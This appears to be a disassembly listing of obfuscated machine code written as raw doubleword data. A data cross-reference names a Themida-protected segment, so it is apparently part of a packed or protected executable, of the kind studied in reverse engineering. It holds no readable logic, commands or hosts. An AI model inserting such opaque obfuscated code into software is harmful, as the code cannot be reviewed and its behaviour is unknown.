44810424h, 1A0424h, 55450000h, 29BDBEC3h, 0DD0CCD9Dh dd 41595FFh, 850105E2h, 5E218E1h, 0BB9DB5FFh, 958905E5h dd 5E22225h, 0A5995FFh, 6A05E2h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 0F126CC3h, 0D840F2Eh dd 60000000h, 0F515F681h, 0C8B806EDh, 610101F5h, 24CDBD83h dd 0F0205E2h, 9184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 9D700EBDh, 8D31100Eh dd 5E216ADh, 85B52B60h, 8105E201h, 621EE4D1h, 858B6159h dd 5E21F35h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 64C35040h, 0E9CB39EDh, 0Ch, 0E6481895h, 17BCA309h dd 0BB6052F7h, 6A0000C6h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 7808C351h, 1E718D31h dd 85C705E2h, 5E20CF9h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0EEC35747h dd 67F6049Bh, 0E9D509E0h, 0FFFFF3E0h, 8E9h, 69185C00h dd 0D619DDDAh, 0FC18BF7h, 80h, 91858D00h, 8B05E20Eh, 0E201099Dh dd 66509005h, 6090FA8Bh, 8A5E5160h, 6A6161D9h, 9D8B5100h dd 5E21B9Dh, 0BB006A5Fh, 606B9901h, 0FCB6858Dh, 9D8B05E6h dd 5E21709h, 8B05C083h, 0FB8B66F8h, 0E8516090h, 8, 4CB9E559h dd 0AAB2A790h, 5AB75F59h, 0BB665061h, 6A901AF8h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0B293C352h, 183F79Eh, 0C60D59DBh, 2649BD23h, 6A05E2h dd 0BD8BF1B7h, 5E232FDh, 870F006Ah, 6, 775BD89h, 95FF05E2h dd 5E21E2Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 6C35242h, 0F955CEEh, 0CD61D6EBh, 9D808D8Dh, 0BD2B05E5h dd 5E200E5h, 9D8BD1FFh, 5E20ACDh, 0B9BD83h, 0F0105E2h dd 7485h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 48E7A7ABh, 26A6FB7h, 48950F5h, 55006A24h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 8C0FC5D0h, 3, 0FFF88B66h, 0E214E995h, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 428156h, 0D80E934h, 0E80000h, 5D000000h, 0FCC0ED81h dd 6A05E6h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 0CA94F7C3h, 7D0E20B0h, 3A393C0h, 0E211A19Dh dd 7E905h, 8C2A0000h, 8071DD42h, 53006A9Ch, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 906A21E4h dd 0FA8BC635h, 8E9E858Dh, 6A05E5h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 37E483C3h, 0DEFF5EC3h dd 0E990F88Bh, 7, 34431400h, 5012C8CBh, 0F890F88Bh, 0A1BD89h dd 0FF6405E2h, 35h, 899D8B00h, 6405E230h, 2589h, 0BB660000h dd 85FFE65Eh, 5E22329h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0DDC35343h, 0C43DAD88h, 0DA48FCF5h, 0EFBB66F6h dd 80FF6A69h, 0BD03D0CBh, 5E22451h, 2A79B5FFh, 6A05E2h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 43AA2AC3h, 21AB4772h, 189D95FFh, 0FFE905E2h, 60000000h dd 0A2CFBE66h, 31958B60h, 6005E223h, 0B0616161h, 0C1B58900h dd 0E605E20Ch, 0F9BD8B70h, 0E405E215h, 3CF98B71h, 0D3830F61h dd 66000000h, 0F17E3BBh, 0BAF5C8B6h, 6, 8E9h, 0A4BB9200h dd 55C60194h, 0B7C18B49h, 4E8C148h, 799D8Bh, 0F76605E2h dd 0C82BFCE2h, 8BF9BF0Fh, 359D33D1h, 8B05E208h, 0E201919Dh dd 90E905h, 858B0000h, 5F4C4C44h, 10C58D89h, 0B58905E2h dd 5E21529h, 6607C083h, 83EDBBBFh, 8D8900C0h, 5E20FC1h dd 830FD03Bh, 13h, 5FE9D1B7h, 0F000000h, 685h, 919D8900h dd 8B05E219h, 0FFFFFF8Dh, 0C78166FFh, 0E1837203h, 3F840F01h dd 0E9000000h, 7, 0F363F595h, 834B3A79h, 0FFFFFFA5h, 0BE9FEFFh dd 0B4000000h, 5A9B54FFh, 52662108h, 89603B79h, 0E20E31B5h dd 0B5315105h, 5E20485h, 9589615Eh, 5F4C4C44h, 0E9F5h dd 0B58D0000h, 5E6735Ch, 226D9D8Bh, 6A05E2h, 2F959D89h dd 0BD8B05E2h, 5E2211Dh, 0AB995FFh, 6A05E2h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0CAB5DAC3h dd 893D0FF7h, 0E2081D8Dh, 10D4B905h, 0E1830000h, 79BD01FCh dd 0FC05E21Eh, 0B80EDF80h, 0 dd 2AD1BD89h, 0D22B05E2h, 0AD0DD380h, 0E8D1C233h, 0E983D003h dd 0B7F47504h, 50006A32h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 6757D411h, 0AA48EC4Bh dd 0D84B379h, 88h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 7C35646h, 31198501h, 958B05E2h, 5E20BE9h dd 48F0Fh, 0BB660000h, 8D8BE49Ah, 5E20761h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 4CC35040h, 8B63320Ch dd 0E21A29BDh, 0DABF0F05h, 506BDB80h, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 34E42269h dd 13E83Ah, 912D0000h, 0C8AD15C5h, 0E0AA49B4h, 74877672h dd 9398E4D6h, 0E5BD8BBBh, 5B05E230h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 76C35040h, 79BD83F5h, 5E20Dh dd 8C840Fh, 89560000h, 0E2061DB5h, 0B85F05h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 5C2DC356h, 30F5BD8Bh, 8D8D05E2h, 5E24C42h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 6AC35747h dd 0F381BB5Bh, 5A241E4Ah, 6AE1FFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 4B8B3CC3h, 2F62A5A0h dd 9D89EE42h, 5E20F95h, 0AFDBD8Bh, 0BD8305E2h, 5E21B55h dd 0C5840F00h, 66000004h, 0FB47CB81h, 1B55BD83h, 0F0105E2h dd 4CE84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 544725C1h, 0E2AF2B23h, 83D8B70Fh dd 0E21B55BDh, 860F0305h, 465h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 14C35242h, 0A82F884Fh, 0CB81EB7Ah dd 3BB9A827h, 6840Fh, 9D8B0000h, 5E20725h, 53006A60h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0F43D9DD9h, 9B258D47h, 0B7D98C66h, 4E18048h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0BAC35040h, 0C90ADE8Bh dd 17A840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 8BF85AC3h, 0E2241D85h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0AAFA18B7h, 9D8B57F3h, 5E224F1h, 0AD87BF5Bh, 853320B9h dd 5E22AA9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 60C35040h, 0C5C3B4CAh, 0E914893Fh, 9, 0CBD04FCCh dd 28D6D084h, 0CE890B9h, 0FF000000h, 92804791h, 72B00C2Ah dd 0E9A774A6h, 6, 219A8212h, 505F57C0h, 90FA8B66h, 5D102CBFh dd 66006A78h, 9768DF8Bh, 50E522A4h, 0FF98B52h, 0CE931h dd 0DD4D0000h, 0F3E886E2h, 0DBF7666Ch, 585AD7A7h, 68240481h dd 0B31AFC5Fh, 3995FF96h, 6A05E208h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0D154C357h dd 0A16AE8D7h, 8B667902h, 9D8589FEh, 6A05E5BBh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0C0FFC350h, 0BB5A8405h, 0E97931ACh, 0Dh, 70B744E9h dd 745CFFECh, 0F145EF55h, 3890FCAh, 0F000000h, 9E9FEB7h dd 6A000002h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 62B2C355h, 3AA94146h, 9D09F09Bh dd 5E21ED9h, 0BB95858Bh, 8ABF05E5h, 8953AEB2h, 0E21EA595h dd 1800C705h, 89000000h, 0E21351B5h, 880F05h, 8B000000h dd 0E5BB99B5h, 0FE805h, 8F800000h, 0FABE6B5Dh, 5AF5F210h dd 94885E62h, 6E845h, 0CC940000h, 5FD18C2Fh, 4B3EB2BFh dd 8B5B5F0Fh, 0E200F985h, 9E905h, 36000000h, 72D9E49Dh dd 89B53415h, 6870F06h, 2B000000h, 0E224EDBDh, 1D858B05h dd 0F05E224h, 38Ch, 0FE8B6600h, 66044689h, 0E9E969BFh dd 7, 7AB77EB7h, 50C01BF0h, 0AE860h, 69720000h, 2F9E8DCh dd 0B4B24161h, 0E95B6160h, 6, 0C32E7DE4h, 8961BB87h, 6A2434h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0B3EFB3C3h, 9D8B266Ch, 5E208C1h, 6E9h, 0AF92000h, 0FF73CB3Dh dd 0E5BB95B5h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0C93F053Dh, 0F262B8Ch dd 8166FEB7h, 68DE5BF7h, 0FECD1B7h, 9E8h, 55524A00h, 0ADF0FC3Dh dd 0BF6603B5h, 815BF7E9h, 0D2482434h, 6A0FF3h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 82A072C3h, 1809BD09h, 858D05E2h, 5E5BB9Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0DAC35747h, 7F571CF8h dd 800F4B00h, 6, 7A5BD01h, 665005E2h, 890FF5BFh, 6A2404h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0B0CBBCC3h, 0C6982BBh, 0CB8166B9h, 95FF5F66h, 5E20839h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 4BC35545h dd 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 7B650AB1h, 85C7F558h, 5E21B55h, 3, 0BB9DBD83h dd 0F0005E5h, 4C84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0F3F16C74h, 0A59A0E27h dd 3FE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 8BC98064h, 0E213F99Dh, 0C305005h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 7861D381h dd 816652FFh, 83E3D1D3h, 0E21B55BDh, 850F0305h, 40Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0F3C35343h, 69BB2D78h dd 9D31EFCBh, 5E21C0Dh, 0A5BD8B52h, 5B05E22Fh, 0BB9DBD83h dd 0F0005E5h, 3D084h, 199D2300h, 0FF05E21Ch, 0E5BB9DB5h dd 119D8B05h, 0FF05E22Ch, 0E2172D95h, 0CDB58905h, 8B05E216h dd 0E5BB91B5h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 0C8F83675h, 72568B19h dd 0BD092BDCh, 5E2250Dh, 106C7h, 6A0001h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 6F9F78C3h dd 7B67473Eh, 899BAAD2h, 0E20EB1B5h, 68B0F05h, 89000000h dd 0E2222995h, 0C24EBB05h, 8B966A42h, 0DBBB50FAh, 965961FDh dd 0BB9DB5FFh, 0E38105E5h, 76545CAFh, 2BD195FFh, 6A05E2h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0E009A5C3h, 9281069Bh, 0A1BD2361h, 8B05E222h, 0E5BB91B5h dd 0BE905h, 7D0D0000h, 7FD4B99Dh, 0B393D0E7h, 0DD858B30h dd 8105E210h dd 9F490EEFh, 0C4868978h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 624EC357h dd 89D8878Ah, 0E23309B5h, 0E9958B05h, 2B05E20Bh, 0E203D99Dh dd 4C28305h, 581BD89h, 508905E2h, 67DB8120h, 8D7E50E9h dd 0E5CE5B85h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 7F7D67E9h, 2657CDD6h dd 0DF4DBB66h, 0B88689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 163C55C3h, 0C9BD8BC6h dd 6A05E205h, 9DB5FF00h, 0F505E5BBh, 2D6DBD8Bh, 95FF05E2h dd 5E214E9h, 88B0Fh, 0F510000h, 83h, 60505B00h, 12E9h dd 32C59C00h, 5B8161C2h, 67EB8EE8h, 1FD771Fh, 66672F8Dh dd 8961F88Bh, 0BF0F2434h, 9DB5FFF8h, 6A05E5BBh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 0F038C352h, 8F93E49h, 1FB59D8Bh, 95FF05E2h, 5E22D21h dd 68C0Fh, 0BD8B0000h, 5E21A01h, 89BD83h, 0F0005E2h, 3084h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 5021D995h, 52243489h, 6840Fh, 8C0F0000h dd 0 dd 9DB5FF5Bh, 6A05E5BBh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 81D4C353h, 9EC3A50h dd 74D48079h, 0E2F6BF66h, 41595FFh, 9D8B05E2h, 5E20135h dd 0BB9DB5FFh, 6A05E5h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 8A0F41C3h, 0 dd 5E9h, 4DA32800h, 95FFE591h, 5E20A59h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 16h, 86C35040h, 958947C8h dd 5E21435h, 19D58D89h, 0BD8305E2h, 5E224CDh, 0BA840F02h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 1628C357h, 0CE9723Ah, 0DE000000h dd 0CC25E4D9h, 0F1844AEEh, 8BE53AFBh, 0E21F3585h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0A9B2421h, 0AE8B7h, 421C0000h, 6F8A5A4Dh, 0D701E33h dd 3D9D8B51h, 5F05E206h, 0D9BD335Fh, 8B05E200h, 0C6F8h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0AEC35545h dd 0E4AEB742h, 0FCC3AB0h, 0C8Ch, 68D0F00h, 8B000000h, 0E215099Dh dd 61BD8B05h, 8B05E201h, 0E20C5D9Dh, 0F985C705h, 5E20Ch dd 31000000h, 0E2265195h, 0F383E905h, 8D01FFFFh, 5E223E1h dd 7E9C18Bh, 38000000h, 65E419EBh, 858D7655h, 5E20E91h dd 0DE9h, 96609700h, 6BFCDE10h, 4B2B1Fh, 0E990A2A7h, 14h dd 13DCFAF2h, 214C18C9h, 0C744F902h, 798A748Bh, 0E130B43h dd 0BE950h, 95370000h, 254A6968h, 0B2705D92h, 6A908Dh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0DC5312C3h, 5D1D503Ah, 6830Fh, 85010000h, 5E208CDh dd 15F99D8Bh, 6A05E2h, 81D9D8Bh, 6A05E2h, 8D0AE780h, 0E70BBB85h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0B4282B0Eh, 831CE8E9h, 8D8905C0h, 5E22995h dd 11E990h, 0B1B20000h, 0ADD80670h, 4C1A1CCDh, 9FB4662Bh dd 501315CBh, 8830Fh, 50510000h, 5A310F52h, 6A905B58h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 5175C353h, 7DBAC554h, 27CB81D4h, 6A748156h dd 0D2BB6600h, 6A006ACAh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0F892C353h, 1E2D95FFh dd 8B5105E2h, 0E211119Dh, 8D8D5F05h, 5E59D80h, 4EE3CB81h dd 0D1FF1234h, 0B34BDDBBh, 0B9BD836Bh, 105E200h, 28850Fh dd 0D98B0000h, 8166026Ah, 50982ADFh, 0B3F9BF66h, 1240489h dd 0E2230DB5h, 0E995FF05h, 0E905E214h, 6, 13CAE9Fh, 65E9A3DEh dd 0E800000Dh, 0 dd 0C5ED815Dh, 6A05E70Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0DC29C355h, 899201A8h dd 0E232D195h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 602B8637h, 6A591EDAh dd 858DDA78h, 5E58E9Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 2AC35646h, 3B4D7DBDh, 0B760FE18h, 82D380BCh dd 9E990h, 0C2350000h, 0F5600CFAh, 50750940h, 50006A90h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0BE6ED6AEh, 34BB1E07h, 6422623Eh, 35FFh, 0FE80000h dd 0EE000000h, 516FD868h, 5211528Eh, 0FA5178Ah, 8E9FA7Bh dd 9D000000h, 7A55113Fh, 5B962416h, 258964h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 7B33C351h, 3CD4881Eh, 8D31F867h, 5E21BF1h dd 232985FFh, 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0B529AFC3h, 5E210ADh, 6AFF6Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 9DD999C3h, 0BF66F43Dh, 0B5FFE745h, 5E21DC9h, 13E8h db 0 a5PCcuQ2R5 db '5$¯ÅcCuÐq½2êR5',0 ; DATA XREF: Themida_:004EEDACo dd 766A5761h, 16F58D29h, 0FF5B05E2h, 0E2189D95h, 126E905h dd 9D8B0000h, 5E21BFDh, 0E86000B0h, 7, 0A9414662h, 80F09B3Ah dd 615EA2F4h, 0E4F870E6h, 919D8B71h, 3C05E21Eh, 0F9830F61h dd 8B000000h, 0C8B60FDFh, 0BAFEB70Fh, 6, 243DBD8Bh, 0C18B05E2h dd 0D2DB589h, 0E8C105E2h, 0A8F0F04h, 0F000000h, 487h, 4CBF6600h dd 0A1BD2BFAh, 6605E206h, 0E780E2F7h, 0E8C82B75h, 13h dd 2F3220E4h, 0DC62A012h, 3C481EBBh, 0A224E29Bh, 5B620020h dd 890FD18Bh, 6, 46B1DF81h, 91E97D7Ch, 8B000000h, 0E21E79BDh dd 50858B05h, 8947554Ch, 0E21471BDh, 7C08305h, 0FF88B66h dd 68Ah, 6DBD8B00h, 8305E22Ch, 9D8B00C0h, 5E21A75h, 830FD03Bh dd 1Ch, 0B5236060h, 5E22625h, 190751BAh, 0D38B616Ch, 46E961h dd 0BD8B0000h, 5E20419h, 0FFFF8D8Bh, 8960FFFFh, 0E215599Dh dd 0E7816605h, 8361AB36h, 840F01E1h, 24h, 0AB99C3BFh, 0D98B665Dh dd 0FFFFA583h, 66FEFFFFh, 0AE9C381h, 4C509589h, 74BB4755h dd 0E97557BCh, 0 dd 8430B58Dh, 0BD8B05E6h, 5E224D1h, 9D89006Ah, 5E210F5h dd 0AB995FFh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0B9FBA7C3h, 10A3h, 8BFCE183h, 0E22AD59Dh dd 0FC63B305h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0E4C35141h, 185DEA1Fh, 0E9D27D80h, 0Ah, 683C47FDh dd 7D9AB686h, 0E96007F4h, 9, 7F1EC877h, 0A65C71C1h, 9D9D8B0Eh dd 6105E21Bh, 0B8h, 8D9D8B00h, 0BA05E222h, 0 dd 15299D33h, 33AD05E2h, 3E8D1C2h, 4E983D0h, 0DF8BF475h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 84C35040h dd 2D028DD2h, 7E8608Dh, 0CE000000h, 4436A995h, 0BD8B683Ah dd 5E216F5h, 880D615Bh, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 85CAC350h dd 0D56DCBB7h, 0BE9958Bh, 6A05E2h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 8B91CBC3h, 0E207618Dh dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0ADEE1945h, 17EC2813h, 8B506227h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 8870Fh, 66600000h, 8A0DCDBAh dd 6A61E5h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 8B92C3C3h, 0E2049D9Dh, 83FA8B05h, 0E20D79BDh dd 840F0005h, 51h, 30ED9D8Bh, 0B805E2h, 89000000h, 0E226799Dh dd 428D8D05h, 6A05E24Ch, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 1105C357h, 0A7D144A3h dd 9D8BD8BDh, 5E22BCDh, 22D1BD89h, 0E1FF05E2h, 2F9DB589h dd 0BF0F05E2h, 55BD83DEh, 5E21Bh, 3D7840Fh, 8E90000h, 0B4000000h dd 0D4D7ADAAh, 83902C4Dh, 0E21B55BDh, 840F0105h, 3D8h dd 0F5B589h, 0BD8305E2h, 5E21B55h, 8F860F03h, 6A000003h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 92EEC352h, 97FACF18h, 9B3FBF22h, 8B6074D4h dd 0E226A19Dh, 0BB665705h, 665BD4D8h, 6AD98Ch, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 7A51C3C3h, 0B501A6CAh, 5E231C9h, 1BE99D2Bh, 0E18005E2h dd 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0F38166EAh, 0C90A26E7h, 100840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 689D92C3h, 0EC6290A1h, 919D8B11h, 8B05E224h, 0E2241D85h dd 158D8905h, 3305E207h, 0E22AA985h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8B430AFFh dd 65BB66F8h, 0FE89079h, 0A000000h, 0C12E0BF0h, 8E9AA192h dd 0CE921CC5h, 66579E25h, 5B5FFB8Bh, 90FA8B50h, 0EBDBD8Bh dd 6A05E2h, 0D50C68F5h, 850F1994h, 19h, 0FE8h, 0C8E29700h dd 0E5ADA083h, 62EBCBB5h, 9F0BDF85h, 940EBF66h, 2434815Fh dd 198BD6F3h, 1AB19D8Bh, 95FF05E2h, 5E20839h, 9D8589FCh dd 0E805E5BBh, 6, 47D629C4h, 9570D0Fh, 0E2151585h, 0E95B5F05h dd 1ABh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 2CC35545h, 0A549F931h, 858BB781h, 5E5BB95h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0ECC35747h, 654D2F93h dd 9D8B3764h, 5E200FDh, 1800C7h, 0BD8B0000h, 5E213ADh dd 0BB99B58Bh, 0F88A05E5h, 0F9858Bh, 6A05E2h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0C5BCB9C3h dd 87833D92h, 895DE0FBh, 0E21111BDh, 6A068905h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0A402C350h, 84AA753Dh, 894D3551h, 0E21D09BDh, 1D858B05h dd 6A05E224h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0E29CC351h, 177FC4CFh, 0BE940h dd 0E7740000h, 746AAD0Fh, 2510238Bh, 14E860h, 0F0E20000h dd 0A7BCD393h, 0E340CF3Eh, 0F9AFE8C2h, 625019EFh, 95895F2Ch dd 5E210E9h, 446895Bh, 4870F96h, 66000000h, 506806BBh dd 2161BB66h, 0EDBD8B96h, 0FF05E222h, 0E5BB95B5h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 607D6EA7h, 8E80F33Ch, 958D29D3h, 6805E216h, 0DB3FE28Fh dd 70240481h, 0F524DF21h, 0BB9D858Dh, 6A05E5h, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 2A6800C3h, 0F90B84Ah, 385h, 0DE8B6600h, 0BF0F9050h dd 3995FFDEh, 6105E208h, 0EE96060h, 1C000000h, 0F4D7CD56h dd 7FB5B131h, 6739D1DEh, 88BA664Dh, 8D896162h, 5E221B5h dd 5585C761h, 305E21Bh, 0F000000h, 88h, 9DBD8300h, 5E5BBh dd 38840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 0DF6604C3h, 18204A22h, 1C465EDh dd 0E22BCDBDh, 23E905h, 830F0000h, 2, 3050D98Bh, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 56006AC0h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 74DF284Ch, 0D88BDF8Bh, 6800Fh, 9D8B0000h, 5E20CA1h dd 1B55BD83h, 0F0305E2h, 41F85h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 7E6F5F67h dd 9D0BC83Fh, 5E2046Dh, 0BB9DBD83h, 0F0005E5h, 3EB84h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 217D8966h, 0AFAD7241h, 28E0FF4h, 0B7000000h dd 9DB5FFE0h, 6A05E5BBh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0FD0C351h, 0BD8BFFB7h dd 5E218F5h, 172D95FFh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0DC4082C3h, 0B58BE691h dd 5E5BB91h, 2B558529h, 6C705E2h, 10001h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 14h, 0DCC35646h, 45D9531h dd 0BD8B05E2h, 5E22B55h, 33BF6696h, 5E950CFh, 0C000000h dd 713D0826h, 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0ADBD89A4h, 0FF05E21Eh, 0E5BB9DB5h dd 8D895005h, 5E20135h, 0D195FF5Bh, 6A05E22Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 15C9C353h, 0DC6535F9h, 11E984h, 45CD0000h, 0E0281797h dd 3411DCC0h, 0F59B0551h, 8BBAE289h, 0E5BB91B5h, 8B5B5005h dd 0E210DD85h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 9E3C1DE9h, 711324D9h dd 8689C97Eh, 0C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 21C35242h, 497EF191h, 0FC31990Ch, 1C9D8D29h dd 958B05E2h, 5E20BE9h, 21A1B589h, 0C28305E2h, 52006A04h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 551F55A4h, 896AB798h, 8DF52050h, 0E5CE5B85h, 0D88B5305h dd 0B886895Bh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 6D1FC353h, 4DFF63A1h dd 0BF0FA3B5h, 66006AF8h, 0EC0FF781h, 0CBBF0F60h, 